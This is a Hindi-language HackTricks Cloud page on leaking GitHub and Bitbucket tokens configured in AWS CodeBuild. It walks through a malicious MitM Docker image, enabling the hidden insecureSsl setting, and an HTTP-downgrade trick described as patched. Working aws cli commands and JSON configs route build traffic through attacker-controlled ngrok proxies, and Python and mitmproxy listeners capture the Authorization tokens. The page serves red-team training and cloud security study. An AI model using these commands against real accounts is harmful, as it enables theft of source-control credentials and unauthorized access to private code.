AWS Codebuild - Token Leakage
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Github/Bitbucket कॉन्फ़िगर किए गए टोकन को पुनर्प्राप्त करें
पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं:
aws codebuild list-source-credentials
Via Docker Image
यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप exfiltrate उस access (GH token या OAuth token) को कोडबिल्ड को एक विशिष्ट डॉकर इमेज का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए बना सकते हैं।
इसके लिए आप एक नया Codebuild प्रोजेक्ट बना सकते हैं या Docker image सेट करने के लिए मौजूदा एक का environment बदल सकते हैं।
आप जो Docker image उपयोग कर सकते हैं वह है https://github.com/carlospolop/docker-mitm। यह एक बहुत ही बुनियादी Docker image है जो env variables https_proxy
, http_proxy
और SSL_CERT_FILE
सेट करेगा। यह आपको https_proxy
और http_proxy
में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा और SSL_CERT_FILE
में निर्दिष्ट SSL CERT पर भरोसा करेगा।
- Create & Upload your own Docker MitM image
- अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और docker image बनाएं।
- DO NOT SET
http_proxy
ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके। - आप
ngrok
का उपयोग कर सकते हैं जैसेngrok tcp 4444
अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए - एक बार जब आपके पास Docker image बन जाए, तो इसे एक सार्वजनिक repo (Dockerhub, ECR...) पर upload करें।
- Set the environment
- एक नया Codebuild प्रोजेक्ट बनाएं या मौजूदा एक के environment को संशोधित करें।
- प्रोजेक्ट को पूर्व में उत्पन्न Docker image का उपयोग करने के लिए सेट करें।
.png)
- Set the MitM proxy in your host
- जैसा कि Github repo में संकेतित किया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
tip
mitmproxy संस्करण 9.0.1 का उपयोग किया गया था, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता।
- बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें
- आप Authorization हेडर में टोकन देख सकते हैं:
.png)
यह aws cli से कुछ इस तरह किया जा सकता है
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild प्रोजेक्ट्स में एक सेटिंग होती है जिसे insecureSsl
कहा जाता है जो वेब में छिपी होती है, आप इसे केवल API से बदल सकते हैं।
इसे सक्षम करने से, Codebuild को प्लेटफ़ॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की जांच किए बिना रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है।
- सबसे पहले, आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह से सूचीबद्ध करने की आवश्यकता है:
aws codebuild batch-get-projects --name <proj-name>
- फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग
insecureSsl
कोTrue
में अपडेट कर सकते हैं। निम्नलिखित मेरे प्रोजेक्ट को अपडेट करने का एक उदाहरण है, अंत मेंinsecureSsl=True
पर ध्यान दें (यह एकमात्र चीज है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलने की आवश्यकता है)। - इसके अलावा, env वेरिएबल http_proxy और https_proxy को भी जोड़ें जो आपके tcp ngrok की ओर इशारा करते हैं जैसे:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- फिर, प्रॉक्सी वेरिएबल्स (http_proxy और https_proxy) द्वारा इंगित पोर्ट में https://github.com/synchronizing/mitm से बुनियादी उदाहरण चलाएँ।
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- अंत में, Build the project पर क्लिक करें, credentials स्पष्ट पाठ (base64) में mitm पोर्ट पर भेजे जाएंगे:
 (1).png)
HTTP प्रोटोकॉल के माध्यम से
[!TIP] > यह कमजोरियों को AWS ने 2023 के 20 फरवरी के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)
एक हमलावर के पास CodeBuild में उच्च अनुमतियाँ होने पर Github/Bitbucket टोकन लीक हो सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन।
- एक हमलावर http_proxy और https_proxy पर्यावरण चर को CodeBuild प्रोजेक्ट में जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए
http://5.tcp.eu.ngrok.io:14972
)।
.png)
.png)
- फिर, github repo का URL HTTP का उपयोग करने के लिए बदलें बजाय HTTPS के, उदाहरण के लिए:
http://github.com/carlospolop-forks/TestActions
- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में https://github.com/synchronizing/mitm से बुनियादी उदाहरण चलाएँ।
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- अगला, प्रोजेक्ट बनाएं पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें:
aws codebuild start-build --project-name <proj-name>
- अंत में, प्रमाण पत्र स्पष्ट पाठ (base64) में mitm पोर्ट पर भेजे जाएंगे:
.png)
warning
अब एक हमलावर अपने मशीन से टोकन का उपयोग कर सकेगा, सभी विशेषाधिकारों की सूची बना सकेगा और (दुरुपयोग) कोडबिल्ड सेवा का सीधे उपयोग करने की तुलना में अधिक आसानी से कर सकेगा।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।